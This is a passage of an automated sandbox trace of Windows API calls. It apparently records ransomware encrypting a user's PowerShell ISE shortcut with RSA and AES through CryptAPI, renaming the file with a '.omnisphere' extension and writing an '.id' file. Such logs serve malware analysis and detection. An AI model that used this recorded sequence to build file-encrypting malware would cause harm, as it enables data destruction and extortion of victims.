[0148.911] PathCombineW (in: pszDest=0x1731160, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell", pszFile="Windows PowerShell ISE.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk" [0148.911] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0148.911] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0148.912] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=1274) returned 1 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.912] GetTickCount () returned 0x11650a8 [0148.913] GetTickCount () returned 0x11650a8 [0148.913] GetTickCount () returned 0x11650a8 [0148.913] GetTickCount () returned 0x11650a8 [0148.913] GetTickCount () returned 0x11650a8 [0148.913] GetTickCount () returned 0x11650a8 [0148.913] GetTickCount () returned 0x11650a8 [0148.913] GetTickCount () returned 0x11650a8 [0148.913] GetTickCount () returned 0x11650a8 [0148.913] GetTickCount () returned 0x11650a8 [0148.913] GetTickCount () returned 0x11650a8 [0148.913] GetTickCount () returned 0x11650a8 [0148.913] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1669120) returned 1 [0148.914] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639b68) returned 1 [0148.914] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0148.914] CryptDestroyKey (hKey=0x1639b68) returned 1 [0148.914] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0148.914] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4fa, lpName=0x0) returned 0x388 [0148.914] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4fa) returned 0x1480000 [0148.915] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x16683d8) returned 1 [0148.916] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639628) returned 1 [0148.916] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0148.916] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0148.916] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.916] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.916] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.916] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.916] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.916] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.916] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.916] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.916] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.916] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.916] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.916] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.917] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.917] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.917] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.917] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.917] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.917] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.917] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.917] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.917] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.917] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.917] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.917] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.917] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.917] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.917] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.917] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.917] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.917] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.918] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.919] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.919] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.919] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.919] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.919] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.919] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.919] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.919] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.919] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.919] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.919] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.919] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.919] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.919] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.919] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.919] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.919] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.919] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.920] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.920] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.920] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.920] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.920] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.920] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.920] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.920] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.920] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.920] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.920] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.920] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.920] CryptDestroyKey (hKey=0x1639628) returned 1 [0148.920] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0148.920] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x4fa, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0148.920] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0148.922] GetProcessHeap () returned 0x1600000 [0148.922] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x306) returned 0x1731360 [0148.922] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise.lnk.omnisphere")) returned 1 [0148.923] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk.omnisphere.id" [0148.923] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0148.924] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0148.926] CloseHandle (hObject=0x3b4) returned 1 [0148.926] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0148.926] CloseHandle (hObject=0x388) returned 1 [0148.926] SetEndOfFile (hFile=0x3c0) returned 1 [0148.926] FlushFileBuffers 